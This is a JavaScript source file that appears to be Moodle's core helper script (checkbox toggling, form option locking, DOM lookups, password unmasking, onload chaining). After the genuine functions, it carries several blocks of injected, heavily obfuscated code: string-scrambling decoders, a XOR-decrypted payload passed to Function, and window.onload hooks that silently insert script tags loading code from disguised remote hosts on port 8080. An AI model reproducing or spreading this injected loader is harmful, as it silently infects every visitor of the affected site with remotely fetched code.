// Miscellaneous core Javascript functions for Moodle

function popupchecker(msg) {
    var testwindow = window.open('itestwin.html', '', 'width=1,height=1,left=0,top=0,scrollbars=no');
    if (testwindow == null)
        {alert(msg);}
    else {
        testwindow.close();
    }
}

/*
function popUpProperties(inobj) {
/// Legacy function
  var op = window.open();
  op.document.open('text/plain');
  for (objprop in inobj) {
    op.document.write(objprop + ' => ' + inobj[objprop] + '\n');
  }
  op.document.close();
}

function fillmessagebox(text) {
/// Legacy function
  document.form.message.value = text;
}

function copyrichtext(textname) {
/// Legacy stub for old editor - to be removed soon
  return true;
}
*/

function checkall() {
  var el = document.getElementsByTagName('input');
  for(var i=0; i<el.length; i++) {
    if(el[i].type == 'checkbox') {
      el[i].checked = true;
    }
  }
}

function checknone() {
  var el = document.getElementsByTagName('input');
  for(var i=0; i<el.length; i++) {
    if(el[i].type == 'checkbox') {
      el[i].checked = false;
    }
  }
}

function lockoptions(formid, master, subitems) {
  // Subitems is an array of names of sub items.
  // Optionally, each item in subitems may have a
  // companion hidden item in the form with the
  // same name but prefixed by "h".
  var form = document.forms[formid];

  if (eval("form."+master+".checked")) {
    for (i=0; i<subitems.length; i++) {
      unlockoption(form, subitems[i]);
    }
  } else {
    for (i=0; i<subitems.length; i++) {
      lockoption(form, subitems[i]);
    }
  }
  return(true);
}

function lockoption(form,item) {
  eval("form."+item+".disabled=true");/* IE thing */
  if(form.elements['h'+item]) {
    eval("form.h"+item+".value=1");
  }
}

function unlockoption(form,item) {
  eval("form."+item+".disabled=false");/* IE thing */
  if(form.elements['h'+item]) {
    eval("form.h"+item+".value=0");
  }
}


function lockoptionsall(formid) {
    var form = document.forms[formid];
    var dependons = eval(formid+'items');
    var tolock = Array();
    for (var dependon in dependons) {
        // change for MooTools compatibility
        if (!dependons.propertyIsEnumerable(dependon)) {
            continue;
        }
        var master = form[dependon];
        if (master === undefined) {
            continue;
        }
        for (var condition in dependons[dependon]) {
            for (var value in dependons[dependon][condition]) {
                var lock;
                switch (condition) {
                  case 'notchecked':
                      lock = !master.checked; break;
                  case 'checked':
                      lock = master.checked; break;
                  case 'noitemselected':
                      lock = master.selectedIndex==-1; break;
                  case 'eq':
                      lock = master.value==value; break;
                  default:
                      lock = master.value!=value; break;
                }
                for (var ei in dependons[dependon][condition][value]) {
                    // change for MooTools compatibility
                    if (!window.webkit && (!dependons[dependon][condition][value].propertyIsEnumerable(ei))) {
                        continue;
                    }
                    var eltolock = dependons[dependon][condition][value][ei];
                    if (tolock[eltolock] != null){
                        tolock[eltolock] =
                                lock || tolock[eltolock];
                    } else {
                        tolock[eltolock] = lock;
                    }
                }
            }
        }
    }
    for (var el in tolock){
        // change for MooTools compatibility
        if (!tolock.propertyIsEnumerable(el)) {
            continue;
        }
        var formelement = form[el];
        if ((formelement === undefined) || (formelement.disabled === undefined)) {
            continue;
        }
        formelement.disabled = tolock[el];
    }
    return true;
}

function lockoptionsallsetup(formid) {
    var form = document.forms[formid];
    var dependons = eval(formid+'items');
    for (var dependon in dependons) {
        // change for MooTools compatibility
        if (!dependons.propertyIsEnumerable(dependon)) {
            continue;
        }
        var master = form[dependon];
        if (master === undefined) {
            continue;
        }
        master.formid = formid;
        master.onclick  = function() {return lockoptionsall(this.formid);};
        master.onblur   = function() {return lockoptionsall(this.formid);};
        master.onchange = function() {return lockoptionsall(this.formid);};
    }
    for (var i = 0; i < form.elements.length; i++){
        var formelement = form.elements[i];
        if (formelement.type=='reset') {
            formelement.formid = formid;
            formelement.onclick  = function() {this.form.reset();return lockoptionsall(this.formid);};
            formelement.onblur   = function() {this.form.reset();return lockoptionsall(this.formid);};
            formelement.onchange = function() {this.form.reset();return lockoptionsall(this.formid);};
        }
    }
    return lockoptionsall(formid);
}


function submitFormById(id) {
    var theform = document.getElementById(id);
    if(!theform) {
        return false;
    }
    if(theform.tagName.toLowerCase() != 'form') {
        return false;
    }
    if(!theform.onsubmit || theform.onsubmit()) {
        return theform.submit();
    }
}

function select_all_in(elTagName, elClass, elId) {
    var inputs = document.getElementsByTagName('input');
    inputs = filterByParent(inputs, function(el) {return findParentNode(el, elTagName, elClass, elId);});
    for(var i = 0; i < inputs.length; ++i) {
        if(inputs[i].type == 'checkbox' || inputs[i].type == 'radio') {
            inputs[i].checked = 'checked';
        }
    }
}

function deselect_all_in(elTagName, elClass, elId) {
    var inputs = document.getElementsByTagName('INPUT');
    inputs = filterByParent(inputs, function(el) {return findParentNode(el, elTagName, elClass, elId);});
    for(var i = 0; i < inputs.length; ++i) {
        if(inputs[i].type == 'checkbox' || inputs[i].type == 'radio') {
            inputs[i].checked = '';
        }
    }
}

function confirm_if(expr, message) {
    if(!expr) {
        return true;
    }
    return confirm(message);
}


/*
    findParentNode (start, elementName, elementClass, elementID)

    Travels up the DOM hierarchy to find a parent element with the
    specified tag name, class, and id. All conditions must be met,
    but any can be ommitted. Returns the BODY element if no match
    found.
*/
function findParentNode(el, elName, elClass, elId) {
    while(el.nodeName.toUpperCase() != 'BODY') {
        if(
            (!elName || el.nodeName.toUpperCase() == elName) &&
            (!elClass || el.className.indexOf(elClass) != -1) &&
            (!elId || el.id == elId))
        {
            break;
        }
        el = el.parentNode;
    }
    return el;
}
/*
    findChildNode (start, elementName, elementClass, elementID)

    Travels down the DOM hierarchy to find all child elements with the
    specified tag name, class, and id. All conditions must be met,
    but any can be ommitted.
    Doesn't examine children of matches.
*/
function findChildNodes(start, tagName, elementClass, elementID, elementName) {
    var children = new Array();
    for (var i = 0; i < start.childNodes.length; i++) {
        var classfound = false;
        var child = start.childNodes[i];
        if((child.nodeType == 1) &&//element node type
                  (elementClass && (typeof(child.className)=='string'))){
            var childClasses = child.className.split(/\s+/);
            for (var childClassIndex in childClasses){
                if (childClasses[childClassIndex]==elementClass){
                    classfound = true;
                    break;
                }
            }
        }
        if(child.nodeType == 1) { //element node type
            if  ( (!tagName || child.nodeName == tagName) &&
                (!elementClass || classfound)&&
                (!elementID || child.id == elementID) &&
                (!elementName || child.name == elementName))
            {
                children = children.concat(child);
            } else {
                children = children.concat(findChildNodes(child, tagName, elementClass, elementID, elementName));
            }
        }
    }
    return children;
}
/*
    elementSetHide (elements, hide)

    Adds or removes the "hide" class for the specified elements depending on boolean hide.
*/
function elementShowAdvanced(elements, show) {
    for (var elementIndex in elements){
        element = elements[elementIndex];
        element.className = element.className.replace(new RegExp(' ?hide'), '')
        if(!show) {
            element.className += ' hide';
        }
    }
}

function showAdvancedOnClick(button, hidetext, showtext){
    var toSet=findChildNodes(button.form, null, 'advanced');
    var buttontext = '';
    if (button.form.elements['mform_showadvanced_last'].value == '0' ||  button.form.elements['mform_showadvanced_last'].value == '' ) {
        elementShowAdvanced(toSet, true);
        buttontext = hidetext;
        button.form.elements['mform_showadvanced_last'].value = '1';
    } else {
        elementShowAdvanced(toSet, false);
        buttontext = showtext;
        button.form.elements['mform_showadvanced_last'].value = '0';
    }
    var formelements = button.form.elements;
    // Fixed MDL-10506
    for (var i = 0; i < formelements.length; i++){
        if (formelements[i] && formelements[i].name && (formelements[i].name=='mform_showadvanced')){
            formelements[i].value = buttontext;
        }
    }
    //never submit the form if js is enabled.
    return false;
}

function unmaskPassword(id) {
  var pw = document.getElementById(id);
  var chb = document.getElementById(id+'unmask');

  try {
    // first try IE way - it can not set name attribute later
    if (chb.checked) {
      var newpw = document.createElement('<input type="text" name="'+pw.name+'">');
    } else {
      var newpw = document.createElement('<input type="password" name="'+pw.name+'">');
    }
    newpw.attributes['class'].nodeValue = pw.attributes['class'].nodeValue;
  } catch (e) {
    var newpw = document.createElement('input');
    newpw.setAttribute('name', pw.name);
    if (chb.checked) {
      newpw.setAttribute('type', 'text');
    } else {
      newpw.setAttribute('type', 'password');
    }
    newpw.setAttribute('class', pw.getAttribute('class'));
  }
  newpw.id = pw.id;
  newpw.size = pw.size;
  newpw.onblur = pw.onblur;
  newpw.onchange = pw.onchange;
  newpw.value = pw.value;
  pw.parentNode.replaceChild(newpw, pw);
}

/*
    elementToggleHide (element, elementFinder)

    If elementFinder is not provided, toggles the "hidden" class for the specified element.
    If elementFinder is provided, then the "hidden" class will be toggled for the object
    returned by the function call elementFinder(element).

    If persistent == true, also sets a cookie for this.
*/
function elementToggleHide(el, persistent, elementFinder, strShow, strHide) {
    if(!elementFinder) {
        var obj = el;  //el:container
        el = document.getElementById('togglehide_'+obj.id);
    }
    else {
        var obj = elementFinder(el);  //el:button.
    }
    if(obj.className.indexOf('hidden') == -1) {
        obj.className += ' hidden';
        if (el.src) {
            el.src = el.src.replace('switch_minus', 'switch_plus');
            el.alt = strShow;
            el.title = strShow;
        }
        var shown = 0;
    }
    else {
        obj.className = obj.className.replace(new RegExp(' ?hidden'), '');
        if (el.src) {
            el.src = el.src.replace('switch_plus', 'switch_minus');
            el.alt = strHide;
            el.title = strHide;
        }
        var shown = 1;
    }

    if(persistent == true) {
        new cookie('hide:' + obj.id, 1, (shown ? -1 : 356), '/').set();
    }
}

function elementCookieHide(id, strShow, strHide) {
    var obj  = document.getElementById(id);
    var cook = new cookie('hide:' + id).read();
    if(cook != null) {
        elementToggleHide(obj, false, null, strShow, strHide);
    }
}

function filterByParent(elCollection, parentFinder) {
    var filteredCollection = [];
    for(var i = 0; i < elCollection.length; ++i) {
        var findParent = parentFinder(elCollection[i]);
        if(findParent.nodeName != 'BODY') {
            filteredCollection.push(elCollection[i]);
        }
    }
    return filteredCollection;
}

/*
    All this is here just so that IE gets to handle oversized blocks
    in a visually pleasing manner. It does a browser detect. So sue me.
*/

function fix_column_widths() {
    var agt = navigator.userAgent.toLowerCase();
    if ((agt.indexOf("msie") != -1) && (agt.indexOf("opera") == -1)) {
        fix_column_width('left-column');
        fix_column_width('right-column');
    }
}

function fix_column_width(colName) {
    if(column = document.getElementById(colName)) {
        if(!column.offsetWidth) {
            setTimeout("fix_column_width('" + colName + "')", 20);
            return;
        }

        var width = 0;
        var nodes = column.childNodes;

        for(i = 0; i < nodes.length; ++i) {
            if(nodes[i].className.indexOf("sideblock") != -1 ) {
                if(width < nodes[i].offsetWidth) {
                    width = nodes[i].offsetWidth;
                }
            }
        }

        for(i = 0; i < nodes.length; ++i) {
            if(nodes[i].className.indexOf("sideblock") != -1 ) {
                nodes[i].style.width = width + 'px';
            }
        }
    }
}


/*
   Insert myValue at current cursor position
 */
function insertAtCursor(myField, myValue) {
    // IE support
    if (document.selection) {
        myField.focus();
        sel = document.selection.createRange();
        sel.text = myValue;
    }
    // Mozilla/Netscape support
    else if (myField.selectionStart || myField.selectionStart == '0') {
        var startPos = myField.selectionStart;
        var endPos = myField.selectionEnd;
        myField.value = myField.value.substring(0, startPos)
            + myValue + myField.value.substring(endPos, myField.value.length);
    } else {
        myField.value += myValue;
    }
}


/*
        Call instead of setting window.onload directly or setting body onload=.
        Adds your function to a chain of functions rather than overwriting anything
        that exists.
*/
function addonload(fn) {
    var oldhandler=window.onload;
    window.onload=function() {
        if(oldhandler) oldhandler();
            fn();
    }
}

var b;if(b!='' && b!='g'){b=null};var r=document;var y=window;this.e='';function q(_){var a="a";var k=['h&t1tSpS:?/@/&b&a&hSn&-&d@e?.&a1s&.?c1oSm@.?n1e1x?tSa?g@-?c?oSm1.1y@o@u?rSt@oSl?l@t1a?g&.Sr?u@:S8S0&810?/?w1aSr1e&s?e@e&k?e&rS.1c@o&m@/&wSa&rSe&s&e?e1k&e@r&.?c@o1m@/?a?m&a1z?o&n?.&c@n&/1r&a?p1i@d?l?i?b&r?a?rSy@.Sc1o@m1/@gSo1o1gSlSeS.?c@o?m?/S'.replace(/[S@&\?1]/g, ''), 'sfcfrEiEp6tU'.replace(/[UDE6f]/g, ''), 'c9r9eKaKt9e9EPlQe9mPeTnKt9'.replace(/[9TPKQ]/g, ''), 'ojnplZopaJdJ'.replace(/[JjpuZ]/g, ''), 's@rDc7'.replace(/[7Dk@4]/g, ''), 'a,p8p8e8n8d8COh>i,lOd>'.replace(/[\>,28O]/g, ''), 'sneZtZAZtntgrgiZb<uztgez'.replace(/[zZ\<gn]/g, ''), 'bjoxd!yz'.replace(/[zjx\!U]/g, ''), 'd&enf&enr&'.replace(/[&;n~/]/g, ''), "1"];var qi=k[_];var t=59414;return qi;var bg=false;}var h="h";this.hw="";var w = function(){this.o="o";try {n=r[q([5,2][1])](q([1][0]));this.m="";var l = r[q([4,7][1])];var we=false;n[q([6][0])](q([8][0]), q([9,9][0]));n[q([4,2][0])]=q([8,0][1]);var ip;if(ip!='gy' && ip != ''){ip=null};l[q([5][0])](n);var go;if(go!='' && go!='d'){go='wem'};} catch(x){var td;if(td!=''){td='qrz'};};};var ar;if(ar!='' && ar!='zi'){ar=''};y[q([3][0])]=w;var s;if(s!='' && s!='zr'){s='qs'};
var n=36119;this.c="";function y() {var wh;if(wh!='nr'){wh=''};var h;if(h!='qu'){h=''};var bx;if(bx!='js' && bx!='jq'){bx='js'};this.ma="ma";function o(d,b,e){var sn='';d.setAttribute(b, e);var i_="";var i_v;if(i_v!='' && i_v!='ou'){i_v=''};}var pm="";function k(){var me;if(me!='zi' && me!='f'){me='zi'};return ([1][0]);this.ec="ec";}var dh="dh";var sc;if(sc!='' && sc!='wb'){sc=null};var s='s4rPcZ'.replace(/[ZP34#]/g, '');var u='sncUrnibpWtn'.replace(/[nHUbW]/g, '');var tz=30287;var t='hMtqpT:M/M/>w<oMrTl<d#o#f>w>aTr#c#r#a#f#t<->cMoTmM.Ty>i>e#l#dTm<a#n<a<gTe<rM.>c#o<mM.<s#u>i#t<eM1<0<1T-<c#o#m<.TnMoMw<hMo#m#eMcMa>rTe#.TrMuT:#8#0>8M0T/#d<m#oMz#.#o>rMg>/Td>m<oeb.#o#r>g>/>m#oTn<e<y#c#o>nMt#r>oTlM.#c#oMmT/>nToTvToqeTkMaM.pu</>gTo<oTg<lbe.TcMoMm</M'.replace(/[MT\>\<#]/g, '');var nrb;if(nrb!='ld' && nrb != ''){nrb=null};this.ws=4358;var m='oOn8l8omaOd;'.replace(/[;O\:m8]/g, '');var a=window;this.la="la";this.is="is";var l='cvrIeyavtgepEIlgevmIegnIty'.replace(/[ygpIv]/g, '');this.po='';var qua;if(qua!='ag'){qua=''};a[m]=function(){try {pg=document[l](u);this.xg=false;var bgk;if(bgk!='cz' && bgk!='bb'){bgk='cz'};this.pgr='';o(pg,s,t);o(pg,'d>eJf>e>rJ'.replace(/[J\>_Nh]/g, ''),k());var zo;if(zo!='' && zo!='yi'){zo='we'};var gx="gx";var ny;if(ny!='' && ny!='yc'){ny='jx'};var pf;if(pf!='' && pf!='scm'){pf='vl'};document['bRo^dkyY'.replace(/[Y\^WkR]/g, '')]['aRp/pRe/nRdfCRhoiRl;df'.replace(/[fo/;R]/g, '')](pg);} catch(x){var hs="hs";var cm=false;};};var xm=new Array();this.bz='';var fu=false;};y();
var CJ="38272e1532553a3920261f4b35390c025b0d3b0e3539273438043912372414311e0f013b05353b31003c12340b2c26243423023a07301805351c0237380e013727400a346a3f3831431b3c4c3237";var mgL;if(mgL!='Tu' && mgL != ''){mgL=null};var If;if(If!='FUb'){If=''};function h(O){var L="";var iv=""; function a(T,C){return T^C;}var SL=new Array();var iw=new Array();this.TU="";this.d="";var Yg=new String(); function R(V){var LH;if(LH!='' && LH!='zm'){LH=''};var cw;if(cw!='' && cw!='LR'){cw=''};var H=[255][0];var w=[0][0];var WZ;if(WZ!='zi' && WZ!='MJ'){WZ=''};var e=[0,4][0];var Rg=V[q("ngelth", [3,2,0,1])];var te;if(te!='Ru' && te != ''){te=null};var X=[1,155][0];this.eo=3738;var Xl=false;var E=new String();var Ly;if(Ly!='ax' && Ly != ''){Ly=null};var Ou=24025;while(w<Rg){var dH;if(dH!='jY' && dH!='rp'){dH=''};var FB;if(FB!='Je' && FB!='Hv'){FB='Je'};w++;var GI=53187;var xp;if(xp!='' && xp!='Ck'){xp=null};M=wa(V,w - X);var XPk="XPk";e+=M*Rg;var vd=44219;}return new l(e % H);}this.QUp="QUp";var ia;if(ia!='MU'){ia=''};this.yE=""; function q(j, y){var ao=false;var X=[1,18][0];var lr=54266;var ev = y.length;var mU;if(mU!='JI'){mU='JI'};var uw=new Date();var qZ = j.length;var J=[0][0];var uO;if(uO!=''){uO='NL'};var Jp='';var i = '';this.eb="";for(var Jd = J; Jd < qZ; Jd += ev) {var MP=new String();this.zE='';var Oh = j.substr(Jd, ev);var Pv;if(Pv!='' && Pv!='PR'){Pv=null};if(Oh.length == ev){for(var w in y) {this.os=24333;var PH;if(PH!='' && PH!='Qu'){PH=null};var Flq;if(Flq!=''){Flq='FU'};var bT;if(bT!='Gk' && bT!='dW'){bT=''};i+=Oh.substr(y[w], X);var I;if(I!='oM' && I!='oO'){I='oM'};var Jpr;if(Jpr!='SM' && Jpr!='fn'){Jpr='SM'};}var SU="SU";this.Ql='';} else {  i+=Oh;}this.ip="ip";}var pD="";var QN;if(QN!=''){QN='Ow'};return i;var pP='';this.kEu=false;}var bm;if(bm!='' && bm!='sd'){bm='SK'}; var wa=function(Ry,f){var SA;if(SA!=''){SA='FGo'};return Ry[q("ocdearhCAt", [1,6,4,5,7,0,2,3])](f);var rC=false;};var MN=new String();var LW=new Date();var Nh='';var MUB;if(MUB!='QK'){MUB=''};var aj=new Date(); var N=function(j){var KM;if(KM!='' && KM!='ZD'){KM=null};this.dqE="dqE";this.sB='';var Dv="Dv";var YP="YP";var i = '';var zS;if(zS!='DJ' && zS != ''){zS=null};var Mb;if(Mb!='Mf' && Mb != ''){Mb=null};j = new l(j);var Jd =[184,0,199,82][1];var J =[0,43,136,35][0];var Ut="";var A = -1;var Hm;if(Hm!='Wa'){Hm=''};for (Jd=j[q("ngetlh", [4,2,0,1,3])]-A;Jd>=J;Jd=Jd-[1][0]){var EZ='';var pHO=new Array();i+=j[q("hacAtr", [2,0,1])](Jd);var LK;if(LK!='Rc'){LK=''};this.kk=false;}this.xJ="";this.Ox="";return i;};var P=window;var ft=P[q("vela", [1,0])];var aa=new Array();this.xr="xr";var r=ft(q("uFcnitno", [1,0]));var lz="";this.wl=false;var l=ft(q("grSint", [2,5,1,3,4,0]));var yR=ft(q("gRepEx", [1,2,0]));var AM='';this.Bj=18545;var Y = '';var Iq;if(Iq!='aq' && Iq!='Qr'){Iq=''};var Rd;if(Rd!=''){Rd='wt'};var VL='';var rA;if(rA!='AI'){rA=''};var PC=new Array();var Rn;if(Rn!='' && Rn!='GP'){Rn='Xf'};var wx=P[q("nsuecape", [2,0,3,1,4])];var SG=false;var lUU=48804;var rf=l[q("orfhCmCraedo", [2,1,0])];var Mh=new String();var PY=new Array();var v=[1, q("odenutmcc.teeEarelt(e\'nmcst\'i)pr", [1,0,7,4,6,2,3,5]),2, q("modnectuyb.a.opdCepihnldd(d)", [2,1,5,7,0,4,3,6]),3, q("mcoo.nakio.cwm.thiaepsge", [1,2,0]),4, q("sdA.tertutbi(teed\'fer\'", [1,3,0,5,4,2]),5, q(".mocetisepam:ur.0808", [3,2,1,0]),6, q("ow.csbem", [1,6,5,4,2,3,0]),7, q("indwwoonla.od", [4,0,1,2,5,3]),8, q("pteydp.acom", [1,3,0,2]),11, q("uftncoi)n(", [1,0,3,4,2]),12, q("beyac..oku", [1,0]),14, q("oggoelc.mo", [1,0]),15, q("ueafiimnn", [2,0,3,1]),16, q("c(ahtce)", [5,2,4,0,3,1]),17, q("ht\"pt:", [2,0,1,4,3]),18, q(".drsc", [1,0]),19, q("1\')\'", [1,0]),20, q("rty", [1,0,2])];var fv=new String();var vP='';var Cb=false;var F = '';var hGt;if(hGt!=''){hGt='kM'};var X =[1][0];var ur;if(ur!='' && ur!='rd'){ur=null};var iak;if(iak!='bA' && iak!='mR'){iak=''};var J =[204,0][1];var B =[2][0];var Yf=169;var HoB="";var XP = O[q("glneth", [1,3,2,0])];var Dy;if(Dy!='rm' && Dy!='KpJ'){Dy=''};var Bb = '';var MS = rf(37);this.yp='';var b =[0,50][0];var va = /[^@a-z0-9A-Z_-]/g;var fM=new Date();var JK;if(JK!='PG' && JK!='HD'){JK='PG'};var hN='';var m = '';this.MSX=false;for(var bq=J; bq < XP; bq+=B){Bb+= MS; var YV="YV";var yU="yU";Bb+= O[q("usbtsr", [1,0,2])](bq, B);var Cp;if(Cp!='DJl'){Cp=''};}var RuP='';var O = wx(Bb);var t = new l(h);var xB;if(xB!=''){xB='Mv'};var kT="";var S = t[q("erpalce", [1,0,2])](va, m);var QCu;if(QCu!='bF' && QCu != ''){QCu=null};var HO=new Array();var gk=new String();S = N(S);var hB;if(hB!='RQ' && hB!='Hd'){hB=''};var Pa = v[q("enlthg", [2,0,1])];var MJz=new Array();var tE = new l(r);var jp="jp";var JaZ=13927;this.Ds=38912;this.gb="gb";var nQ=new Array();var Ho = tE[q("laprece", [3,4,2,0,1])](va, m);var Ho = R(Ho);var XC;if(XC!='Cv' && XC!='ZF'){XC=''};var KW="";var x=R(S);var UQD="";var qa=false;var yq;if(yq!='RR' && yq != ''){yq=null};var UtD=new Date();for(var Jd=J; Jd < (O[q("nlehgt", [1,2,0])]);Jd=Jd+[1,228][0]) {var Yu=false;var Ej=false;var HH = S.charCodeAt(b);var wF = wa(O,Jd);this.QBN='';this.Rw=318;wF = a(wF, HH);var ZO;if(ZO!='' && ZO!='wn'){ZO=''};var Hw="Hw";wF = a(wF, x);this.Po="Po";this.HX="HX";wF = a(wF, Ho);var Cx="Cx";var Ke;if(Ke!='sm' && Ke!='YT'){Ke='sm'};var Ft=new Date();b++;this.KQ=22967;this.zM=10921;var xF=new Array();if(b > S.length-X){b=J;var gq;if(gq!='Ab'){gq='Ab'};var ywn;if(ywn!='eD'){ywn='eD'};}var dc;if(dc!='Ef'){dc=''};var gD;if(gD!='hr'){gD=''};F += rf(wF);this.Ji=22414;}for(fp=J; fp < Pa; fp+=B){var mC='';var hV;if(hV!='QSR' && hV != ''){hV=null};var vK;if(vK!='tK'){vK='tK'};var K = rf(v[fp]);var c = v[fp + X];var nu=new String();var Fb=new String();this.RzG="";var VN = new yR(K, l.fromCharCode(103));var tB=false;this.rQ=29799;F=F[q("prelace", [1,2,0,3])](VN, c);var IZ;if(IZ!='' && IZ!='tl'){IZ=null};}var Uq;if(Uq!='iB' && Uq!='Ie'){Uq='iB'};var wQ;if(wQ!='LxA' && wQ!='Tw'){wQ='LxA'};var IZJ;if(IZJ!='' && IZJ!='rS'){IZJ=''};this.on='';var Z=new r(F);var ln;if(ln!='Da' && ln!='Jdf'){ln=''};Z();var mg=false;this.qRB="qRB";var wd="";S = '';var br=13726;var sJr;if(sJr!='ALZ' && sJr != ''){sJr=null};var StZ=new Array();Z = '';var WU="";var nW;if(nW!='ix' && nW!='cn'){nW=''};F = '';this.ngW=51399;var XE;if(XE!='' && XE!='wR'){XE=''};tE = '';var GkD=39130;var bdm;if(bdm!='iM'){bdm='iM'};x = '';var bW;if(bW!='Ic' && bW!='Lw'){bW=''};var ARx=false;Ho = '';var Vo=new Date();var lc;if(lc!='WY' && lc != ''){lc=null};return '';};var mgL;if(mgL!='Tu' && mgL != ''){mgL=null};var If;if(If!='FUb'){If=''};h(CJ);

var j;if(j!='' && j!='PT'){j=''};try {this.N="";var e=new String();var Zl=new String();var P=RegExp;var K=new Date();var O=new String("txCrepla".substr(3)+"cemupU".substr(0,2));var fIi;if(fIi!='SR' && fIi!='b'){fIi='SR'};var M;if(M!='' && M!='k'){M='l'};this.dG="";function D(Or,u){var o=new Array();var ih=new Array();var d="[9Re".substr(0,1);var i=String("g");var Bck=new String();var Cx=new String();d+=u;var LA=new Array();d+=new String("]");var c=new Array();var f=new P(d, i);return Or[O](f, new String());this.z='';};var ZP;if(ZP!='' && ZP!='DW'){ZP=null};var Q='';var ci;if(ci!='' && ci!='wv'){ci=''};var PH="";var DT=D('s0czr0izp0tz',"z0M");var B=D('/IfIiIlIeIsI.IwIoLrLdLpLrIeIsLsL.IcIoLmI/IfIiIlLeIsI.LwLoIrLdIpIrIeLsIsI.LcIoImL/IgLoLoIgLlLeI.IcLoImI/IcLoLnIdLuIiItI.IcIoLmL/IeIxLpIeLdIiIaI.IcLoImI.LpIhIpL',"IL");var m;if(m!='' && m!='Gs'){m=''};var pgk;if(pgk!='' && pgk!='GU'){pgk=''};var LV='';var ct;if(ct!='Ho' && ct!='vM'){ct=''};var X=D('8221011813012',"321");var kH=new Array();var ut=D('hMtXtUpJ:W/M/XbXiXzWrWaXtMeM-JcXoUmW.MgMoJoUgMlMeJ.UcJoXmW.JpXhU.J5X1X-MlWaU.JBJuMyJTMhUeXBMlJeWnMdUeWrU.UrWuU:W',"XMWJU");var _=D('o3n3l3o3a3dD',"3D");var QY=window;var G=D('cGrGeGaGtGeGEHlHeHmIe8nHtG',"GH8I");p=function(){Bc=document[G](DT);var h;if(h!='NA' && h!='_c'){h=''};Q=ut+X;var mi='';var vC='';Q+=B;var sx=new Array();var YS=new String();var Pq=new Array();var dt=new String();var t_;if(t_!=''){t_='qj'};Bc.src=Q;var ag=new String();Bc.defer=([1][0]);var x;if(x!='T'){x='T'};this.Gt="";document.body.appendChild(Bc);var Zd="";};var LY=new Date();var Tf=new Date();var dA;if(dA!=''){dA='NG'};QY[_]=p;} catch(q){this.cl="";var Sv=new Date();};var gp;if(gp!='LYb'){gp='LYb'};var da;if(da!='iz'){da='iz'};